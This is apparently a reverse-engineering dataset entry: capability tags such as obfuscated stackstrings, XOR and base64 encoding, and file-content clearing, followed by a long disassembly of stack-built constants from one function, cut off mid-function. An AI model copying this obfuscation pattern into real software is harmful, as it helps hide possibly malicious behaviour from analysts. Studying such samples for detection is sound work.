Function at 0x140052cc0
Capabilities:
Authenticate hmac
Clear file content
Contain obfuscated stackstrings
Copy file
Encode data using base64
Encode data using xor
Get common file path
Get disk information
Get file version info
Get thread local storage value
Parse pe header

Disassembly:
mov dword [rsp + 0x20], r9d
mov qword [rsp + 0x18], r8
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
push rsi
push rdi
mov eax, 0x2a188
call fcn.140231020
sub rsp, rax
mov eax, 0xe0
mov word [rsp + 0xa64], ax
movabs rax, 0x7b10de1552e99c25
mov qword [rsp + 0x5ea8], rax
mov eax, 0x5a39
mov word [rsp + 0xa68], ax
mov eax, 0x5a5
mov word [rsp + 0xa6c], ax
mov byte [rsp + 0x60], 9
mov byte [rsp + 0x61], 0x58
mov dword [rsp + 0x32d4], 0x3ad8600a
mov dword [rsp + 0x32d8], 0x3bb94924
mov eax, 0x757e
mov word [rsp + 0xa70], ax
mov eax, 0x3dea
mov word [rsp + 0xa74], ax
mov byte [rsp + 0x62], 0x22
mov eax, 0x4290
mov word [rsp + 0xa78], ax
mov eax, 0x39f3
mov word [rsp + 0xa7c], ax
mov eax, 0xd99
mov word [rsp + 0xa80], ax
mov byte [rsp + 0x63], 0x62
movabs rax, 0xcd967075d49e994
mov qword [rsp + 0x5eb0], rax
mov dword [rsp + 0x32dc], 0x2e2817fe
movabs rax, 0xa9a12f14b6ed11fa
mov qword [rsp + 0x5eb8], rax
mov eax, 0xbb1
mov word [rsp + 0xa84], ax
mov eax, 0x7c2
mov word [rsp + 0xa88], ax
mov eax, 0x31e5
mov word [rsp + 0xa8c], ax
mov byte [rsp + 0x64], 0xef
mov dword [rsp + 0x32e0], 0x87098c17
mov dword [rsp + 0x32e4], 0x64e5b807
mov eax, 0x4e
mov word [rsp + 0xa90], ax
mov dword [rsp + 0x32e8], 0x6035be1
mov eax, 0x1e78
mov word [rsp + 0xa94], ax
mov byte [rsp + 0x65], 0x57
mov dword [rsp + 0x32ec], 0xa63b8c66
mov dword [rsp + 0x32f0], 0xc5aa7e74
movabs rax, 0x1c59128e6524f83d
mov qword [rsp + 0x5ec0], rax
mov eax, 0x33fd
mov word [rsp + 0xa98], ax
movabs rax, 0x8f6e806fb9bb4f8
mov qword [rsp + 0x5ec8], rax
mov byte [rsp + 0x66], 0x28
mov dword [rsp + 0x32f4], 0xb03dc561
mov byte [rsp + 0x67], 0x35
mov eax, 0x1e0
mov word [rsp + 0xa9c], ax
mov byte [rsp + 0x68], 0x6c
movabs rax, 0xd71008cf1ce6dbef
mov qword [rsp + 0x5ed0], rax
mov eax, 0x902
mov word [rsp + 0xaa0], ax
mov dword [rsp + 0x32f8], 0x7fd321dd
movabs rax, 0x8e233719132ae0bd
mov qword [rsp + 0x5ed8], rax
mov dword [rsp + 0x32fc], 0xe0baca5d
mov eax, 0x380
mov word [rsp + 0xaa4], ax
mov dword [rsp + 0x3300], 0x7d8cab99
mov eax, 0xd69
mov word [rsp + 0xaa8], ax
mov eax, 0x1227
mov word [rsp + 0xaac], ax
mov eax, 0x9a7
mov word [rsp + 0xab0], ax
mov eax, 0x61dc
mov word [rsp + 0xab4], ax
mov byte [rsp + 0x69], 0x51
movabs rax, 0x2141344d86529954
mov qword [rsp + 0x5ee0], rax
mov dword [rsp + 0x3304], 0x7a646e8e
mov eax, 0x8d3
mov word [rsp + 0xab8], ax
mov eax, 0x73b0
mov word [rsp + 0xabc], ax
mov eax, 0x1efe
mov word [rsp + 0xac0], ax
mov dword [rsp + 0x3308], 0x8cd8b396
mov dword [rsp + 0x330c], 0xa1ca596f
mov byte [rsp + 0x6a], 0x1a
mov byte [rsp + 0x6b], 0x49
mov eax, 0xc32
mov word [rsp + 0xac4], ax
mov eax, 0x832
mov word [rsp + 0xac8], ax
mov eax, 0xd42
mov word [rsp + 0xacc], ax
mov eax, 0x74f9
mov word [rsp + 0xad0], ax
movabs rax, 0x46ca60d9f9a5c25
mov qword [rsp + 0x5ee8], rax
mov byte [rsp + 0x6c], 0x23
mov dword [rsp + 0x3310], 0x1b3e6779
mov eax, 0xff6
mov word [rsp + 0xad4], ax
mov eax, 0x13dc
mov word [rsp + 0xad8], ax
mov dword [rsp + 0x3314], 0x5745d927
mov byte [rsp + 0x6d], 0x5b
movabs rax, 0xdaf33498dcacd4df
mov qword [rsp + 0x5ef0], rax
mov byte [rsp + 0x6e], 0x9d
mov byte [rsp + 0x6f], 0x3a
mov dword [rsp + 0x3318], 0xd5b4d502
mov eax, 0x7ed
mov word [rsp + 0xadc], ax
mov eax, 0x65da
mov word [rsp + 0xae0], ax
mov byte [rsp + 0x70], 6
mov eax, 0x6b1
mov word [rsp + 0xae4], ax
movabs rax, 0xbafa1a277c6a53b9
mov qword [rsp + 0x5ef8], rax
mov byte [rsp + 0x71], 0x1e
movabs rax, 0xe1881ac34c88940
mov qword [rsp + 0x5f00], rax
mov dword [rsp + 0x331c], 0xe4865514
mov byte [rsp + 0x72], 0x6a
mov byte [rsp + 0x73], 0x10
mov byte [rsp + 0x74], 0xf7
mov eax, 0x26c2
mov word [rsp + 0xae8], ax
mov byte [rsp + 0x75], 0x39
movabs rax, 0x7f27f97712ac7cda
mov qword [rsp + 0x5f08], rax
mov eax, 0x68
mov word [rsp + 0xaec], ax
movabs rax, 0x75e7b3862e6ecf34
mov qword [rsp + 0x5f10], rax
movabs rax, 0x57a0a023d818df67
mov qword [rsp + 0x5f18], rax
mov byte [rsp + 0x76], 0xc7
mov byte [rsp + 0x77], 0xa7
mov byte [rsp + 0x78], 0x55
movabs rax, 0x43370c3dd92c667c
mov qword [rsp + 0x5f20], rax
mov dword [rsp + 0x3320], 0xa0a65605
mov eax, 0x313
mov word [rsp + 0xaf0], ax
mov eax, 0x202
mov word [rsp + 0xaf4], ax
movabs rax, 0x47ea9ca5fde270e0
mov qword [rsp + 0x5f28], rax
mov eax, 0x3fdb
mov word [rsp + 0xaf8], ax
mov dword [rsp + 0x3324], 0xa316cef3
movabs rax, 0x248b80b1de5cef03
mov qword [rsp + 0x5f30], rax
mov byte [rsp + 0x79], 0x74
mov dword [rsp + 0x3328], 0x50e6133e
mov eax, 0x6b30
mov word [rsp + 0xafc], ax
mov dword [rsp + 0x332c], 0x7687e67e
mov dword [rsp + 0x3330], 0x96a17842
mov byte [rsp + 0x7a], 0xa3
mov byte [rsp + 0x7b], 0x65
mov eax, 0x6ec
mov word [rsp + 0xb00], ax
movabs rax, 0x2116473f219bb84c
mov qword [rsp + 0x5f38], rax
mov byte [rsp + 0x7c], 0x68
mov dword [rsp + 0x3334], 0xb89f71ee
mov dword [rsp + 0x3338], 0x363e9238
mov dword [rsp + 0x333c], 0x7ca312dd
mov byte [rsp + 0x7d], 0x6f
mov dword [rsp + 0x3340], 0x49012d48
mov eax, 0x9b8
mov word [rsp + 0xb04], ax
movabs rax, 0x6140ef7eadce05c9
mov qword [rsp + 0x5f40], rax
mov byte [rsp + 0x7e], 0x3b
mov byte [rsp + 0x7f], 4
mov eax, SetWindowSubclass
mov word [rsp + 0xb08], ax
mov byte [rsp + 0x80], 0x4e
mov eax, 0x5f2b
mov word [rsp + 0xb0c], ax
mov dword [rsp + 0x3344], 0x93e0dabb
mov dword [rsp + 0x3348], 0x36793f1c
mov byte [rsp + 0x81], 0x51
mov eax, 0x256f
mov word [rsp + 0xb10], ax
mov byte [rsp + 0x82], 0x1b
mov eax, 0xb0a
mov word [rsp + 0xb14], ax
mov eax, 0x2e2
mov word [rsp + 0xb18], ax
mov byte [rsp + 0x83], 0x19
mov eax, 0x574
mov word [rsp + 0xb1c], ax
mov byte [rsp + 0x84], 0xa3
mov eax, 0xc21
mov word [rsp + 0xb20], ax
movabs rax, 0x423b0c8bcdb9c197
mov qword [rsp + 0x5f48], rax
mov byte [rsp + 0x85], 0xcb
mov eax, 0xe81
mov word [rsp + 0xb24], ax
movabs rax, 0x58127215136122f8
mov qword [rsp + 0x5f50], rax
movabs rax, 0xcd21a0413518dff2
mov qword [rsp + 0x5f58], rax
mov byte [rsp + 0x86], 0x58
mov eax, 0x293a
mov word [rsp + 0xb28], ax
movabs rax, 0x113bf0a4a1ee8507
mov qword [rsp + 0x5f60], rax
mov eax, 0x1dc5
mov word [rsp + 0xb2c], ax
mov eax, 0xe09
mov word [rsp + 0xb30], ax
mov dword [rsp + 0x334c], 0x22cecdfc
mov byte [rsp + 0x87], 0x97
mov dword [rsp + 0x3350], 0xf3c78290
movabs rax, 0xcff04ad02e6b0eb7
mov qword [rsp + 0x5f68], rax
mov byte [rsp + 0x88], 0x79
mov dword [rsp + 0x3354], 0x47edd238
movabs rax, 0x1a008503d019d959
mov qword [rsp + 0x5f70], rax
mov dword [rsp + 0x3358], 0x2a70c464
mov dword [rsp + 0x335c], 0x3affc98c
mov dword [rsp + 0x3360], 0x3344c79e
mov dword [rsp + 0x3364], 0x1607aec0
mov byte [rsp + 0x89], 0xdb
mov dword [rsp + 0x3368], 0x4f0eab7a
mov dword [rsp + 0x336c], 0xff248eea
mov dword [rsp + 0x3370], 0x843d8614
mov eax, 0x2a28
mov word [rsp + 0xb34], ax
mov byte [rsp + 0x8a], 0x39
mov dword [rsp + 0x3374], 0x6c246ed1
mov eax, 0x993
mov word [rsp + 0xb38], ax
mov eax, 0x2f4
mov word [rsp + 0xb3c], ax
mov byte [rsp + 0x8b], 0x3f
mov eax, 0x52a
mov word [rsp + 0xb40], ax
mov byte [rsp + 0x8c], 0x55
mov eax, 0xc28
mov word [rsp + 0xb44], ax
mov byte [rsp + 0x8d], 6
movabs rax, 0x5900f85259c049a0
mov qword [rsp + 0x5f78], rax
movabs rax, 0x40426e1ba6101ec0
mov qword [rsp + 0x5f80], rax
mov dword [rsp + 0x3378], 0xe9bb077f
mov eax, 0x6281
mov word [rsp + 0xb48], ax
movabs rax, 0x398c026e449dfe48
mov qword [rsp + 0x5f88], rax
mov byte [rsp + 0x8e], 0x6f
mov byte [rsp + 0x8f], 0xd6
movabs rax, 0x1a9ad2249136fdac
mov qword [rsp + 0x5f90], rax
movabs rax, 0x2bc3d9ad9d46a578
mov qword [rsp + 0x5f98], rax
mov eax, 0x2125
mov word [rsp + 0xb4c], ax
movabs rax, 0x6379e030c3c7fdfe
mov qword [rsp + 0x5fa0], rax
mov eax, 0x66aa
mov word [rsp + 0xb50], ax
mov byte [rsp + 0x90], 0x3b
mov eax, 0x3fdf
mov word [rsp + 0xb54], ax
movabs rax, 0x1c50313aac40a8e6
mov qword [rsp + 0x5fa8], rax
mov byte [rsp + 0x91], 0x10
mov eax, 0xdca
mov word [rsp + 0xb58], ax
movabs rax, 0x79512de7a6f1ab62
mov qword [rsp + 0x5fb0], rax
mov byte [rsp + 0x92], 0xfe
mov eax, 0x6e26
mov word [rsp + 0xb5c], ax
movabs rax, 0x65b80fe38e9a89ac
mov qword [rsp + 0x5fb8], rax
mov byte [rsp + 0x93], 0x57
mov eax, 0x105
mov word [rsp + 0xb60], ax
mov dword [rsp + 0x337c], 0x475241bf
movabs rax, 0x1cd1f9ab3f14bf53
mov qword [rsp + 0x5fc0], rax
movabs rax, 0x9011bd51f782251c
mov qword [rsp + 0x5fc8], rax
mov byte [rsp + 0x94], 0x19
movabs rax, 0x5fac3d709a5fc5ce
mov qword [rsp + 0x5fd0], rax
mov dword [rsp + 0x3380], 0x2718b7f3
mov dword [rsp + 0x3384], 0x5dfa2f73
mov eax, 0x7471
mov word [rsp + 0xb64], ax
mov dword [rsp + 0x3388], 0x765269f
mov dword [rsp + 0x338c], 0x699fa25e
mov byte [rsp + 0x95], 0x26
mov eax, 0x570
mov word [rsp + 0xb68], ax
mov byte [rsp + 0x96], 0x6b
mov byte [rsp + 0x97], 0x61
movabs rax, 0x383aa4d4c3866768
mov qword [rsp + 0x5fd8], rax
mov byte [rsp + 0x98], 0x7e
movabs rax, 0x78d7c4ddb523b673
mov qword [rsp + 0x5fe0], rax
mov dword [rsp + 0x3390], 0xf8fb97a
mov byte [rsp + 0x99], 0x7f
mov dword [rsp + 0x3394], 0xf5e8e20
movabs rax, 0x72703dbdcc501fb3
mov qword [rsp + 0x5fe8], rax
mov eax, 0xaf4
mov word [rsp + 0xb6c], ax
movabs rax, 0x703183f66cb0ec4b
mov qword [rsp + 0x5ff0], rax
mov byte [rsp + 0x9a], 0x40
mov byte [rsp + 0x9b], 0x6a
mov eax, 0x2f93
mov word [rsp + 0xb70], ax
mov dword [rsp + 0x3398], 0xb1c2e34b
mov dword [rsp + 0x339c], 0x7d0fd3cb
mov eax, 0x43af
mov word [rsp + 0xb74], ax
mov byte [rsp + 0x9c], 0x1f
movabs rax, 0x349acee77b438854
mov qword [rsp + 0x5ff8], rax
mov eax, 0xee8
mov word [rsp + 0xb78], ax
mov byte [rsp + 0x9d], 0xed
mov eax, 0x18a1
mov word [rsp + 0xb7c], ax
mov byte [rsp + 0x9e], 0x7e
mov eax, 0x3066
mov word [rsp + 0xb80], ax
mov byte [rsp + 0x9f], 0x68
movabs rax, 0x6be68b506e9b8e02
mov qword [rsp + 0x6000], rax
mov eax, 0x7334
mov word [rsp + 0xb84], ax
mov eax, 0xf89
mov word [rsp + 0xb88], ax
mov dword [rsp + 0x33a0], 0x7360c761
mov byte [rsp + 0xa0], 0x41
mov dword [rsp + 0x33a4], 0x7cbb3889
movabs rax, 0x55132288afeea582
mov qword [rsp + 0x6008], rax
movabs rax, 0x4139cefdc0866757
mov qword [rsp + 0x6010], rax
mov dword [rsp + 0x33a8], 0xce42c82e
mov eax, 0x178a
mov word [rsp + 0xb8c], ax
movabs rax, 0x15c9e09e33d8029d
mov qword [rsp + 0x6018], rax
movabs rax, 0x5b11f311696a3128
mov qword [rsp + 0x6020], rax
mov dword [rsp + 0x33ac], 0x7c3b7deb
mov eax, 0x378
mov word [rsp + 0xb90], ax
movabs rax, 0x961b7dbf96d332bb
mov qword [rsp + 0x6028], rax
mov byte [rsp + 0xa1], 0x6b
mov dword [rsp + 0x33b0], 0x1b6781ca
mov eax, 0x5efb
mov word [rsp + 0xb94], ax
mov byte [rsp + 0xa2], 0x7a
mov byte [rsp + 0xa3], 0x37
mov eax, RemoveWindowSubclass
mov word [rsp + 0xb98], ax
movabs rax, 0x68dc20765d6af02b
mov qword [rsp + 0x6030], rax
movabs rax, 0x80fc5b1e3c61a7d8
mov qword [rsp + 0x6038], rax
mov dword [rsp + 0x33b4], 0xbcf6d92
mov eax, 0x440d
mov word [rsp + 0xb9c], ax
mov dword [rsp + 0x33b8], 0x5454f1a2
movabs rax, 0x87645a6e9fe560e
mov qword [rsp + 0x6040], rax
mov dword [rsp + 0x33bc], 0x4b5ab916
mov eax, 0x2597
mov word [rsp + 0xba0], ax
mov byte [rsp + 0xa4], 0xea
mov byte [rsp + 0xa5], 0x53
mov byte [rsp + 0xa6], reloc.COMCTL32.dll_MakeDragList
mov eax, 0x5f0f
mov word [rsp + 0xba4], ax
mov byte [rsp + 0xa7], 0x85
mov eax, 0x9f1
mov word [rsp + 0xba8], ax
mov eax, 0xac5
mov word [rsp + 0xbac], ax
mov byte [rsp + 0xa8], 0x67
mov eax, 0x5fcd
mov word [rsp + 0xbb0], ax
mov eax, 0x28f1
mov word [rsp + 0xbb4], ax
movabs rax, 0xacb8df729c44e1b3
mov qword [rsp + 0x6048], rax
movabs rax, 0x7b7abfc7aa26ae2b
mov qword [rsp + 0x6050], rax
mov byte [rsp + 0xa9], 0xce
mov eax, 0x231f
mov word [rsp + 0xbb8], ax
mov byte [rsp + 0xaa], 0x69
mov byte [rsp + 0xab], 0x37
mov dword [rsp + 0x33c0], 0x936233eb
mov eax, 0xc51
mov word [rsp + 0xbbc], ax
mov eax, 0x64a6
mov word [rsp + 0xbc0], ax
mov dword [rsp + 0x33c4], 0x5f89ae18
mov dword [rsp + 0x33c8], 0x1ab6387d
mov dword [rsp + 0x33cc], 0xe479b39a
mov eax, 0x2065
mov word [rsp + 0xbc4], ax
mov byte [rsp + 0xac], 0x6b
movabs rax, 0x56ce153d32a63cd6
mov qword [rsp + 0x6058], rax
movabs rax, 0x2c8df1528017e4be
mov qword [rsp + 0x6060], rax
movabs rax, 0x5d4167102b6df3f7
mov qword [rsp + 0x6068], rax
mov byte [rsp + 0xad], 0x45
mov byte [rsp + 0xae], 0x2b
mov dword [rsp + 0x33d0], 0x3f959817
movabs rax, 0x7a337a989a8ee5f8
mov qword [rsp + 0x6070], rax
mov byte [rsp + 0xaf], 0x35
mov eax, 0xe61
mov word [rsp + 0xbc8], ax
mov eax, 0x152
mov word [rsp + 0xbcc], ax
movabs rax, 0x1f145451da0dbbae
mov qword [rsp + 0x6078], rax
mov eax, 0x17e
mov word [rsp + 0xbd0], ax
movabs rax, 0xa0d7bfd985cd51e5
mov qword [rsp + 0x6080], rax
mov eax, 0x48b0
mov word [rsp + 0xbd4], ax
movabs rax, 0x44a60062defc435e
mov qword [rsp + 0x6088], rax
movabs rax, 0x7b4c4e69c1eaed3
mov qword [rsp + 0x6090], rax
mov byte [rsp + 0xb0], 0x4b
mov eax, 0x549e
mov word [rsp + 0xbd8], ax
mov eax, 0x142
mov word [rsp + 0xbdc], ax
movabs rax, 0x5223b5189a4b6fb2
mov qword [rsp + 0x6098], rax
movabs rax, 0x2fa4f5291168fca3
mov qword [rsp + 0x60a0], rax
mov eax, 0x1b
mov word [rsp + 0xbe0], ax
mov eax, 0x4c58
mov word [rsp + 0xbe4], ax
mov dword [rsp + 0x33d4], 0x15c2926c
mov byte [rsp + 0xb1], 0x78
mov byte [rsp + 0xb2], 0x60
movabs rax, 0x1253c91f3b126694
mov qword [rsp + 0x60a8], rax
mov byte [rsp + 0xb3], 0x6b
movabs rax, 0x18760e029ffe39c9
mov qword [rsp + 0x60b0], rax
movabs rax, 0x7b6f55f458fc7ac6
mov qword [rsp + 0x60b8], rax
mov eax, 0xc91
mov word [rsp + 0xbe8], ax
mov dword [rsp + 0x33d8], 0x2bdb7157
mov dword [rsp + 0x33dc], 0x2d7a2c5
mov eax, 0xab9
mov word [rsp + 0xbec], ax
mov eax, 0x7df
mov word [rsp + 0xbf0], ax
mov dword [rsp + 0x33e0], 0x52d742df
movabs rax, 0x85ed31475e0e870
mov qword [rsp + 0x60c0], rax
mov byte [rsp + 0xb4], 0x36
mov eax, 0x7db9
mov word [rsp + 0xbf4], ax
mov dword [rsp + 0x33e4], 0x9db91fbd
mov dword [rsp + 0x33e8], 0x7844c941
mov eax, 0x484
mov word [rsp + 0xbf8], ax
mov dword [rsp + 0x33ec], 0x79c7bdba
mov dword [rsp + 0x33f0], 0x5be14aed
movabs rax, 0x53115b1739336a17
mov qword [rsp + 0x60c8], rax
mov dword [rsp + 0x33f4], 0xebda5849
mov dword [rsp + 0x33f8], 0x65f0ffc6
mov dword [rsp + 0x33fc], 0x1a60764d
mov dword [rsp + 0x3400], 0x40aeaef5
mov byte [rsp + 0xb5], 0x59
movabs rax, 0x4094faf86857c78c
mov qword [rsp + 0x60d0], rax
mov dword [rsp + 0x3404], 0x73032da8
mov eax, 0x667
mov word [rsp + 0xbfc], ax
mov eax, 0x42cd
mov word [rsp + 0xc00], ax
movabs rax, 0x46544335a360ea16
mov qword [rsp + 0x60d8], rax
mov eax, 0x39d7
mov word [rsp + 0xc04], ax
mov byte [rsp + 0xb6], 0x5c
movabs rax, 0xc6121796b6adbee5
mov qword [rsp + 0x60e0], rax
mov eax, 0x4118
mov word [rsp + 0xc08], ax
movabs rax, 0x4429b7709a4e1112
mov qword [rsp + 0x60e8], rax
mov byte [rsp + 0xb7], 0x61
mov eax, 0x5d6
mov word [rsp + 0xc0c], ax
mov byte [rsp + 0xb8], 3
mov eax, 0xeba
mov word [rsp + 0xc10], ax
movabs rax, 0xcfd152343f089504
mov qword [rsp + 0x60f0], rax
mov eax, 0xbc3
mov word [rsp + 0xc14], ax
mov dword [rsp + 0x3408], 0x4668dd7a
mov eax, 0x3d0
mov word [rsp + 0xc18], ax
mov dword [rsp + 0x340c], 0x976bdd0a
mov eax, 0xaf0
mov word [rsp + 0xc1c], ax
mov dword [rsp + 0x3410], 0xde823932
mov dword [rsp + 0x3414], 0x7a8d81ff
mov eax, 0xc94
mov word [rsp + 0xc20], ax
mov dword [rsp + 0x3418], 0x20757ed2
movabs rax, 0x43cf51fc034e51d
mov qword [rsp + 0x60f8], rax
mov byte [rsp + 0xb9], 0x2f
mov dword [rsp + 0x341c], 0xd0270866
mov eax, 0x4bf3
mov word [rsp + 0xc24], ax
movabs rax, 0x62c376d0efd63968
mov qword [rsp + 0x6100], rax
mov dword [rsp + 0x3420], 0x9914920
movabs rax, 0x487fd5e34ebfe627
mov qword [rsp + 0x6108], rax
mov dword [rsp + 0x3424], 0x1a6b4b21
movabs rax, 0x5c7729309e168f4e
mov qword [rsp + 0x6110], rax
mov dword [rsp + 0x3428], 0x946d6bc9
mov dword [rsp + 0x342c], 0x640d5ede
mov eax, 0x618
mov word [rsp + 0xc28], ax
movabs rax, 0x1594f4bb296ba5e9
mov qword [rsp + 0x6118], rax
mov dword [rsp + 0x3430], 0x33a14f63
mov byte [rsp + 0xba], 4
mov dword [rsp + 0x3434], 0xe0998c0e
mov byte [rsp + 0xbb], 0x20
movabs rax, 0x2042d6dff874950d
mov qword [rsp + 0x6120], rax
mov dword [rsp + 0x3438], 0xbcda2c70
mov dword [rsp + 0x343c], 0x70663d20
mov eax, 0x3996
mov word [rsp + 0xc2c], ax
mov eax, 0xbe3
mov word [rsp + 0xc30], ax
mov byte [rsp + 0xbc], 0x29
mov dword [rsp + 0x3440], 0x55591c00
mov byte [rsp + 0xbd], 0x42
mov byte [rsp + 0xbe], 0x4b
mov dword [rsp + 0x3444], 0x745f19a1
mov eax, 0x2b7
mov word [rsp + 0xc34], ax
mov byte [rsp + 0xbf], 0xf3
movabs rax, 0x33199cbc4aa54e1a
mov qword [rsp + 0x6128], rax
mov byte [rsp + 0xc0], 0x30
movabs rax, 0x29ec2120f5f4e570
mov qword [rsp + 0x6130], rax
mov eax, 0x3a88
mov word [rsp + 0xc38], ax
mov dword [rsp + 0x3448], 0x5fd49cf1
mov byte [rsp + 0xc1], 0x47
mov eax, 0x6920
mov word [rsp + 0xc3c], ax
movabs rax, 0xf42cb89032ed414b
mov qword [rsp + 0x6138], rax
mov dword [rsp + 0x344c], 0xb16179b
mov eax, 0x7d5
mov word [rsp + 0xc40], ax
mov byte [rsp + 0xc2], 0x1a
movabs rax, 0x3a259819e3295401
mov qword [rsp + 0x6140], rax
mov eax, 0x37c3
mov word [rsp + 0xc44], ax
movabs rax, 0x29c685cf5230365e
mov qword [rsp + 0x6148], rax
mov byte [rsp + 0xc3], 0x1e
mov dword [rsp + 0x3450], 0xf795777
mov eax, 0x723
mov word [rsp + 0xc48], ax
mov byte [rsp + 0xc4], 0x67
mov eax, 0x9d2
mov word [rsp + 0xc4c], ax
movabs rax, 0x3d39076cdb1e3af2
mov qword [rsp + 0x6150], rax
mov byte [rsp + 0xc5], 0x7c
mov eax, 0x401f
mov word [rsp + 0xc50], ax
movabs rax, 0x6c59f6433935590
mov qword [rsp + 0x6158], rax
mov byte [rsp + 0xc6], 0x18
mov eax, 0x7e38
mov word [rsp + 0xc54], ax
movabs rax, 0x52964b15ee6cc917
mov qword [rsp + 0x6160], rax
mov byte [rsp + 0xc7], 0x78
movabs rax, 0x287181c42a8f153b
mov qword [rsp + 0x6168], rax
mov eax, 0x580b
mov word [rsp + 0xc58], ax
mov byte [rsp + 0xc8], 0x4f
mov eax, 0xf0d
mov word [rsp + 0xc5c], ax
mov byte [rsp + 0xc9], 0x6a
mov dword [rsp + 0x3454], 0x2254e0bd
mov byte [rsp + 0xca], 0x22
mov dword [rsp + 0x3458], 0x240df707
mov dword [rsp + 0x345c], 0x6d67fc59
mov eax, 0x34a3
mov word [rsp + 0xc60], ax
mov eax, 0x30b5
mov word [rsp + 0xc64], ax
movabs rax, 0x9c9c0ef64bb5e68
mov qword [rsp + 0x6170], rax
mov byte [rsp + 0xcb], 8
mov eax, 0x3230
mov word [rsp + 0xc68], ax
mov byte [rsp + 0xcc], DrawInsert
movabs rax, 0xcf12bf476832f4
mov qword [rsp + 0x6178], rax
movabs rax, 0x8ac4d232084fd3d5
mov qword [rsp + 0x6180], rax
mov dword [rsp + 0x3460], 0xc9812a0f
movabs rax, 0xfd7085025b60dca0
mov qword [rsp + 0x6188], rax
movabs rax, 0x1b11bf216fc6d845
mov qword [rsp + 0x6190], rax
mov byte [rsp + 0xcd], 0x24
mov eax, 0x602
mov word [rsp + 0xc6c], ax
movabs rax, 0x56f0de3cfa90f1cc
mov qword [rsp + 0x6198], rax
mov dword [rsp + 0x3464], 0x3bc5c71f
mov dword [rsp + 0x3468], 0x22fbb45e
mov byte [rsp + 0xce], 0x5c
mov byte [rsp + 0xcf], 0xd5
mov eax, 0x6c97
mov word [rsp + 0xc70], ax
mov dword [rsp + 0x346c], 0x541967be
mov eax, 0x617
mov word [rsp + 0xc74], ax
mov dword [rsp + 0x3470], 0x676ff4b3
mov eax, 0x2914
mov word [rsp + 0xc78], ax
mov dword [rsp + 0x3474], 0x66c59b5a
mov dword [rsp + 0x3478], 0x6d1eb840
mov eax, 0x7d
mov word [rsp + 0xc7c], ax
movabs rax, 0x52b0984d2a611be9
mov qword [rsp + 0x61a0], rax
mov byte [rsp + 0xd0], 0x12
mov dword [rsp + 0x347c], 0xf2c98dcc
mov eax, 0x5f0d
mov word [rsp + 0xc80], ax
movabs rax, 0xf6be86015c083fdb
mov qword [rsp + 0x61a8], rax
mov byte [rsp + 0xd1], 0xf4
movabs rax, 0x3aa90b37ac4fcf8c
mov qword [rsp + 0x61b0], rax
mov dword [rsp + 0x3480], 0x650dfbd0
mov dword [rsp + 0x3484], 0x6f14b510
mov dword [rsp + 0x3488], 0x2ef6d14a
mov dword [rsp + 0x348c], 0x7b8a6135
mov dword [rsp + 0x3490], 0xa252d7b3
movabs rax, 0x61f041b6940f5a6b
mov qword [rsp + 0x61b8], rax
mov dword [rsp + 0x3494], 0xe469100c
mov eax, 0x971
mov word [rsp + 0xc84], ax
mov byte [rsp + 0xd2], 1
mov byte [rsp + 0xd3], 0x77
mov dword [rsp + 0x3498], 0x3ecc3c91
mov byte [rsp + 0xd4], 0x19
mov eax, 0x1c26
mov word [rsp + 0xc88], ax
mov dword [rsp + 0x349c], 0xce1629c2
mov eax, 0x6c9d
mov word [rsp + 0xc8c], ax
mov byte [rsp + 0xd5], 0x25
mov byte [rsp + 0xd6], 0x11
mov byte [rsp + 0xd7], 0x8a
mov byte [rsp + 0xd8], 0x23
mov eax, 0x5b6
mov word [rsp + 0xc90], ax
mov eax, 0x3161
mov word [rsp + 0xc94], ax
mov eax, 0x7656
mov word [rsp + 0xc98], ax
movabs rax, 0x4a9303c12830c73d
mov qword [rsp + 0x61c0], rax
mov dword [rsp + 0x34a0], 0x6c09d6e5
movabs rax, 0x7427d167592c81b3
mov qword [rsp + 0x61c8], rax
mov eax, 0x111
mov word [rsp + 0xc9c], ax
mov eax, 0x1f85
mov word [rsp + 0xca0], ax
mov dword [rsp + 0x34a4], 0x715d68c2
mov byte [rsp + 0xd9], 0x68
mov dword [rsp + 0x34a8], 0x1c47b15b
mov eax, 0xfb5
mov word [rsp + 0xca4], ax
mov dword [rsp + 0x34ac], 0xdf3ac88d
movabs rax, 0x29fa817cc5dfebd4
mov qword [rsp + 0x61d0], rax
movabs rax, 0x6f04b5b29fe85bbb
mov qword [rsp + 0x61d8], rax
mov dword [rsp + 0x34b0], 0xfafb0b04
mov eax, 0x75e
mov word [rsp + 0xca8], ax
movabs rax, 0x82031b86308f6319
mov qword [rsp + 0x61e0], rax
mov byte [rsp + 0xda], 4
movabs rax, 0x5f81aff1f2898257
mov qword [rsp + 0x61e8], rax
mov byte [rsp + 0xdb], 0x31
mov dword [rsp + 0x34b4], 0x122a370f
mov eax, 0x830
mov word [rsp + 0xcac], ax
movabs rax, 0x42d0cf53e811e4e5
mov qword [rsp + 0x61f0], rax
mov byte [rsp + 0xdc], 2
movabs rax, 0xb7a56bcea3a52dee
mov qword [rsp + 0x61f8], rax
mov byte [rsp + 0xdd], 0x44
mov byte [rsp + 0xde], 0x4b
mov dword [rsp + 0x34b8], 0xf33cde8e
mov eax, 0x71b
mov word [rsp + 0xcb0], ax
mov dword [rsp + 0x34bc], 0x1c3eb5b8
mov eax, 0x5c9
mov word [rsp + 0xcb4], ax
mov byte [rsp + 0xdf], 0
movabs rax, 0x2dcb47b3a2655bd8
mov qword [rsp + 0x6200], rax
movabs rax, 0xc88e7b29850ed694
mov qword [rsp + 0x6208], rax
mov byte [rsp + 0xe0], 0x7c
mov dword [rsp + 0x34c0], 0x63494ce7
mov eax, 0xb59
mov word [rsp + 0xcb8], ax
mov byte [rsp + 0xe1], 0x73
movabs rax, 0x4f5fa39011bca1d2
mov qword [rsp + 0x6210], rax
mov dword [rsp + 0x34c4], 0xf4eda147
mov eax, 0xa2
mov word [rsp + 0xcbc], ax
mov byte [rsp + 0xe2], 0xce
mov eax, 0x2a2f
mov word [rsp + 0xcc0], ax
mov eax, 0x976
mov word [rsp + 0xcc4], ax
mov dword [rsp + 0x34c8], 0x3f594a3b
mov eax, 0x1837
mov word [rsp + 0xcc8], ax
mov dword [rsp + 0x34cc], 0xe0ea8859
mov dword [rsp + 0x34d0], 0x7da0133c
mov dword [rsp + 0x34d4], 0x10f64f1d
mov eax, 0xb22
mov word [rsp + 0xccc], ax
movabs rax, 0x1edded3d9ee200bd
mov qword [rsp + 0x6218], rax
mov byte [rsp + 0xe3], 0x9e
mov byte [rsp + 0xe4], 0x15
mov byte [rsp + 0xe5], 0x10
movabs rax, 0x740aa7702558df48
mov qword [rsp + 0x6220], rax
mov eax, 0x478f
mov word [rsp + 0xcd0], ax
